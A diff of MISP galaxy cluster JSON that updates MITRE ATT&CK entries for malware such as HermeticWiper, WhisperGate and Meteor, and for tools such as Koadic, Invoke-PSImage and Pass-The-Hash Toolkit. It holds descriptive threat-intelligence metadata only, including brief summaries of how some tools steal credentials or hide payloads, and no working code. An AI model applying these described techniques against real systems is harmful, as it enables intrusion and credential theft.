by [WIRTE](https://attack.mitre.org/groups/G0090) since at least 2021.(Citation: Kaspersky WIRTE November 2021)", - "meta": { - "external_id": "S0679", - "mitre_platforms": [ - "Windows" - ], - "refs": [ - "https://attack.mitre.org/software/S0679", - "https://securelist.com/wirtes-campaign-in-the-middle-east-living-off-the-land-since-at-least-2019/105044" - ], - "synonyms": [ - "Ferocious" - ] - }, - "related": [ - { - "dest-uuid": "29be378d-262d-4e99-b00d-852d573628e6", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "348f1eef-964b-4eb6-bb53-69b3dcb0c643", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "bc0f5e80-91c0-4e04-9fbb-e4e332c85dae", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "73d08401-005f-4e1f-90b9-8f45d120879f", - "value": "Ferocious - S0679" - }, - { - "description": "[HermeticWiper](https://attack.mitre.org/software/S0697) is a data wiper that has been used since at least early 2022, primarily against Ukraine with additional activity observed in Latvia and Lithuania. Some sectors targeted include government, financial, defense, aviation, and IT services.(Citation: SentinelOne Hermetic Wiper February 2022)(Citation: Symantec Ukraine Wipers February 2022)(Citation: Crowdstrike DriveSlayer February 2022)(Citation: ESET Hermetic Wiper February 2022)(Citation: Qualys Hermetic Wiper March 2022)", - "meta": { - "external_id": "S0697", - "mitre_platforms": [ - "Windows" - ], - "refs": [ - "https://attack.mitre.org/software/S0697", - "https://blog.qualys.com/vulnerabilities-threat-research/2022/03/01/ukrainian-targets-hit-by-hermeticwiper-new-datawiper-malware", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia", - "https://www.cisa.gov/uscert/ncas/alerts/aa22-057a", - "https://www.crowdstrike.com/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/", - "https://www.crowdstrike.com/blog/how-to-decrypt-the-partyticket-ransomware-targeting-ukraine", - "https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack", - "https://www.welivesecurity.com/2022/02/24/hermeticwiper-new-data-wiping-malware-hits-ukraine" - ], - "synonyms": [ - "HermeticWiper", - "Trojan.Killdisk", - "DriveSlayer" - ] - }, - "related": [ - { - "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "0af0ca99-357d-4ba1-805f-674fdfb7bef9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "20fb2507-d71c-455d-9b6d-6104461cf26b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - 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], - "type": "uses" - }, - { - "dest-uuid": "d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "dcaa092b-7de9-4a21-977f-7fcb77e89c48", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "fb640c43-aa6b-431e-a961-a279010424ac", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "ff73aa03-0090-4464-83ac-f89e233c02bc", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "a0ab8a96-40c9-4483-8a54-3fafa6d6007a", - "value": "HermeticWiper - S0697" - }, - { - "description": "[Meteor](https://attack.mitre.org/software/S0688) is a wiper that was used against Iranian government organizations, including Iranian Railways, the Ministry of Roads, and Urban Development systems, in July 2021. [Meteor](https://attack.mitre.org/software/S0688) is likely a newer version of similar wipers called Stardust and Comet that were reportedly used by a group called \"Indra\" since at least 2019 against private companies in Syria.(Citation: Check Point Meteor Aug 2021)", - "meta": { - "external_id": "S0688", - "mitre_platforms": [ - "Windows" - ], - "refs": [ - "https://attack.mitre.org/software/S0688", - "https://research.checkpoint.com/2021/indra-hackers-behind-recent-attacks-on-iran/" - ], - "synonyms": [ - "Meteor" - ] - }, - "related": [ - { - "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "20fb2507-d71c-455d-9b6d-6104461cf26b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "5d2be8b9-d24c-4e98-83bf-2f5f79477163", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "6495ae23-3ab4-43c5-a94f-5638a2c31fd2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "8c41090b-aa47-4331-986b-8c9a51a91103", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b24e2a20-3b3d-4bf0-823b-1ed765398fb0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "cbb66055-0325-4111-aca0-40547b6ad5b0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "d79e7a60-5de9-448e-a074-f95d2d80f8d0", - "value": "Meteor - S0688" - }, - { - "description": "[WhisperGate](https://attack.mitre.org/software/S0689) is a multi-stage wiper designed to look like ransomware that has been used in attacks against Ukraine since at least January 2022.(Citation: Cybereason WhisperGate February 2022)(Citation: Unit 42 WhisperGate January 2022)(Citation: Microsoft WhisperGate January 2022)", - "meta": { - "external_id": "S0689", - "mitre_platforms": [ - "Windows" - ], - "refs": [ - "https://attack.mitre.org/software/S0689", - "https://unit42.paloaltonetworks.com/ukraine-cyber-conflict-cve-2021-32648-whispergate/#whispergate-malware-family", - "https://www.cybereason.com/blog/cybereason-vs.-whispergate-wiper", - "https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/" - ], - "synonyms": [ - "WhisperGate" - ] - }, - "related": [ - { - "dest-uuid": "0af0ca99-357d-4ba1-805f-674fdfb7bef9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "1b7b1806-7746-41a1-a35d-e48dae25ddba", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "2cd950a6-16c4-404a-aa01-044322395107", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", - 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], - "type": "uses" - }, - { - "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7e150503-88e7-4861-866b-ff1ac82c4475", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "82caa33e-d11a-433a-94ea-9b5a5fbef81d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "fb640c43-aa6b-431e-a961-a279010424ac", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "ff73aa03-0090-4464-83ac-f89e233c02bc", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "49fee0b0-390e-4bde-97f8-97ed46bd19b7", - "value": "WhisperGate - S0689" - }, - { - "description": "[HermeticWizard](https://attack.mitre.org/software/S0698) is a worm that has been used to spread [HermeticWiper](https://attack.mitre.org/software/S0697) in attacks against organizations in Ukraine since at least 2022.(Citation: ESET Hermetic Wizard March 2022)", - "meta": { - "external_id": "S0698", - "mitre_platforms": [ - "Windows" - ], - "refs": [ - "https://attack.mitre.org/software/S0698", - "https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine" - ], - "synonyms": [ - "HermeticWizard" - ] - }, - "related": [ - { - "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "09c4c11e-4fa1-4f8c-8dad-3cf8e69ad119", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "32901740-b42c-4fdd-bc02-345b5dc57082", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "6495ae23-3ab4-43c5-a94f-5638a2c31fd2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b97f1d35-4249-4486-a6b5-ee60ccf24fab", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "bf90d72c-c00b-45e3-b3aa-68560560d4c5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e3a12395-188d-4051-9a16-ea8e14d07b88", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "ff7ed9c1-dca3-4e62-9da6-72c5d388b8fa", - "value": "HermeticWizard - S0698" } ], - "version": 26 + "version": 27 } diff --git a/clusters/mitre-tool.json b/clusters/mitre-tool.json index 92f19d3..53cbff0 100644 --- a/clusters/mitre-tool.json +++ b/clusters/mitre-tool.json @@ -41,9 +41,17 @@ "description": "[Pass-The-Hash Toolkit](https://attack.mitre.org/software/S0122) is a toolkit that allows an adversary to \"pass\" a password hash (without knowing the original password) to log in to systems. (Citation: Mandiant APT1)", "meta": { "external_id": "S0122", + "mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], "refs": [ "https://attack.mitre.org/software/S0122", "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + ], + "synonyms": [ + "Pass-The-Hash Toolkit" ] }, "related": [ @@ -298,9 +306,15 @@ "description": "[Invoke-PSImage](https://attack.mitre.org/software/S0231) takes a PowerShell script and embeds the bytes of the script into the pixels of a PNG image. It generates a one liner for executing either from a file of from the web. Example of usage is embedding the PowerShell code from the Invoke-Mimikatz module and embed it into an image file. By calling the image file from a macro for example, the macro will download the picture and execute the PowerShell code, which in this case will dump the passwords. (Citation: GitHub Invoke-PSImage)", "meta": { "external_id": "S0231", + "mitre_platforms": [ + "Windows" + ], "refs": [ "https://attack.mitre.org/software/S0231", "https://github.com/peewpw/Invoke-PSImage" + ], + "synonyms": [ + "Invoke-PSImage" ] }, "related": [ @@ -319,9 +333,16 @@ "description": "[ipconfig](https://attack.mitre.org/software/S0100) is a Windows utility that can be used to find information about a system's TCP/IP, DNS, DHCP, and adapter configuration. (Citation: TechNet Ipconfig)", "meta": { "external_id": "S0100", + "mitre_platforms": [ + "Windows" + ], "refs": [ "https://attack.mitre.org/software/S0100", "https://technet.microsoft.com/en-us/library/bb490921.aspx" + ], + "synonyms": [ + "ipconfig", + "ipconfig.exe" ] }, "related": [ @@ -686,7 +707,7 @@ "value": "gsecdump - S0008" }, { - "description": "[at](https://attack.mitre.org/software/S0110) is used to schedule tasks on a system to run at a specified date or time.(Citation: TechNet At)(Citation: Linux at)", + "description": "[at](https://attack.mitre.org/software/S0110) is used to schedule tasks on a system to run at a specified date or time. (Citation: TechNet At)", "meta": { "external_id": "S0110", "mitre_platforms": [ @@ -696,7 +717,6 @@ ], "refs": [ "https://attack.mitre.org/software/S0110", - "https://man7.org/linux/man-pages/man1/at.1p.html", "https://technet.microsoft.com/en-us/library/bb490866.aspx" ], "synonyms": [ @@ -720,9 +740,15 @@ "description": "[ifconfig](https://attack.mitre.org/software/S0101) is a Unix-based utility used to gather information about and interact with the TCP/IP settings on a system. (Citation: Wikipedia Ifconfig)", "meta": { "external_id": "S0101", + "mitre_platforms": [ + "Linux" + ], "refs": [ "https://attack.mitre.org/software/S0101", "https://en.wikipedia.org/wiki/Ifconfig" + ], + "synonyms": [ + "ifconfig" ] }, "related": [ @@ -768,9 +794,16 @@ "description": "[nbtstat](https://attack.mitre.org/software/S0102) is a utility used to troubleshoot NetBIOS name resolution. (Citation: TechNet Nbtstat)", "meta": { "external_id": "S0102", + "mitre_platforms": [ + "Windows" + ], "refs": [ "https://attack.mitre.org/software/S0102", "https://technet.microsoft.com/en-us/library/cc940106.aspx" + ], + "synonyms": [ + "nbtstat", + "nbtstat.exe" ] }, "related": [ @@ -796,9 +829,18 @@ "description": "[route](https://attack.mitre.org/software/S0103) can be used to find or change information within the local system IP routing table. (Citation: TechNet Route)", "meta": { "external_id": "S0103", + "mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], "refs": [ "https://attack.mitre.org/software/S0103", "https://technet.microsoft.com/en-us/library/bb490991.aspx" + ], + "synonyms": [ + "route", + "route.exe" ] }, "related": [ @@ -817,9 +859,18 @@ "description": "[netstat](https://attack.mitre.org/software/S0104) is an operating system utility that displays active TCP connections, listening ports, and network statistics. (Citation: TechNet Netstat)", "meta": { "external_id": "S0104", + "mitre_platforms": [ + "Windows", + "Linux", + "macOS" + ], "refs": [ "https://attack.mitre.org/software/S0104", "https://technet.microsoft.com/en-us/library/bb490947.aspx" + ], + "synonyms": [ + "netstat", + "netstat.exe" ] }, "related": [ @@ -1082,7 +1133,7 @@ "value": "BITSAdmin - S0190" }, { - "description": "[Koadic](https://attack.mitre.org/software/S0250) is a Windows post-exploitation framework and penetration testing tool that is publicly available on GitHub. [Koadic](https://attack.mitre.org/software/S0250) has several options for staging payloads and creating implants, and performs most of its operations using Windows Script Host.(Citation: Github Koadic)(Citation: Palo Alto Sofacy 06-2018)(Citation: MalwareBytes LazyScripter Feb 2021)", + "description": "[Koadic](https://attack.mitre.org/software/S0250) is a Windows post-exploitation framework and penetration testing tool. [Koadic](https://attack.mitre.org/software/S0250) is publicly available on GitHub and the tool is executed via the command-line. [Koadic](https://attack.mitre.org/software/S0250) has several options for staging payloads and creating implants. [Koadic](https://attack.mitre.org/software/S0250) performs most of its operations using Windows Script Host. (Citation: Github Koadic) (Citation: Palo Alto Sofacy 06-2018)", "meta": { "external_id": "S0250", "mitre_platforms": [ @@ -1091,21 +1142,13 @@ "refs": [ "https://attack.mitre.org/software/S0250", "https://github.com/zerosum0x0/koadic", - "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/", - "https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf" + "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/" ], "synonyms": [ "Koadic" ] }, "related": [ - { - "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", "tags": [ @@ -1155,13 +1198,6 @@ ], "type": "uses" }, - { - "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "tags": [ @@ -1176,13 +1212,6 @@ ], "type": "uses" }, - { - "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "840a987a-99bd-4a80-a5c9-0cb2baa6cade", "tags": [ @@ -1190,20 +1219,6 @@ ], "type": "uses" }, - { - "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "b97f1d35-4249-4486-a6b5-ee60ccf24fab", "tags": [ @@ -1218,13 +1233,6 @@ ], "type": "uses" }, - { - "dest-uuid": "cbb66055-0325-4111-aca0-40547b6ad5b0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ @@ -1232,13 +1240,6 @@ ], "type": "uses" }, - { - "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "tags": [ @@ -1564,7 +1565,14 @@ "type": "uses" }, { - "dest-uuid": "3775a580-a1d1-46c4-8147-c614a715f2e9", + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "62adb627-f647-498e-b4cc-41499361bacb", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1591,6 +1599,13 @@ ], "type": "uses" }, + { + "dest-uuid": "8e27551a-5080-4148-a584-c64348212e4f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "948a447c-d783-4ba0-8516-a64140fcacd5", "tags": [ @@ -1606,35 +1621,21 @@ "type": "uses" }, { - "dest-uuid": "a9fa0d30-a8ff-45bf-922e-7720da0b7922", + "dest-uuid": "a8c31121-852b-46bd-9ba4-674ae5afe7ad", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "ab7400b7-3476-4776-9545-ef3fa373de63", + "dest-uuid": "bd4d32f5-eed4-4018-a649-40b229dd1d69", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "b1c95426-2550-4621-8028-ceebf28b3a47", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "c6e17ca2-08b5-4379-9786-89bd05241831", + "dest-uuid": "c5089859-b21f-40a3-8be4-63e381b8b1c0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1654,20 +1655,6 @@ ], "type": "uses" }, - { - "dest-uuid": "dd818ea5-adf5-41c7-93b5-f3b839a219fb", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "e1c912a9-e305-434b-9172-8a6ce3ec9c4a", "tags": [ @@ -1676,7 +1663,21 @@ "type": "uses" }, { - "dest-uuid": "f05fc151-aa62-47e3-ae57-2d1b23d64bf6", + "dest-uuid": "e4c347e9-fb91-4bc5-83b8-391e389131e2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "fd658820-cbba-4c95-8ac9-0fac6b1099e2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1733,9 +1734,15 @@ "description": "The [Tasklist](https://attack.mitre.org/software/S0057) utility displays a list of applications and services with their Process IDs (PID) for all tasks running on either a local or a remote computer. It is packaged with Windows operating systems and can be executed from the command-line interface. (Citation: Microsoft Tasklist)", "meta": { "external_id": "S0057", + "mitre_platforms": [ + "Windows" + ], "refs": [ "https://attack.mitre.org/software/S0057", "https://technet.microsoft.com/en-us/library/bb491010.aspx" + ], + "synonyms": [ + "Tasklist" ] }, "related": [ @@ -1825,7 +1832,7 @@ "value": "NBTscan - S0590" }, { - "description": "[ftp](https://attack.mitre.org/software/S0095) is a utility commonly available with operating systems to transfer information over the File Transfer Protocol (FTP). Adversaries can use it to transfer other tools onto a system or to exfiltrate data.(Citation: Microsoft FTP)(Citation: Linux FTP)", + "description": "[FTP](https://attack.mitre.org/software/S0095) is a utility commonly available with operating systems to transfer information over the File Transfer Protocol (FTP). Adversaries can use it to transfer other tools onto a system or to exfiltrate data. (Citation: Wikipedia FTP)", "meta": { "external_id": "S0095", "mitre_platforms": [ @@ -1835,29 +1842,14 @@ ], "refs": [ "https://attack.mitre.org/software/S0095", - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/ftp", - "https://linux.die.net/man/1/ftp" + "https://en.wikipedia.org/wiki/File_Transfer_Protocol" ], "synonyms": [ - "ftp", + "FTP", "ftp.exe" ] }, "related": [ - { - "dest-uuid": "bf90d72c-c00b-45e3-b3aa-68560560d4c5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "f879d51c-5476-431c-aedf-f14d207e4d1e", "tags": [ @@ -1874,15 +1866,22 @@ } ], "uuid": "cf23bf4a-e003-4116-bbae-1ea6c558d565", - "value": "ftp - S0095" + "value": "FTP - S0095" }, { "description": "[Systeminfo](https://attack.mitre.org/software/S0096) is a Windows utility that can be used to gather detailed information about a computer. (Citation: TechNet Systeminfo)", "meta": { "external_id": "S0096", + 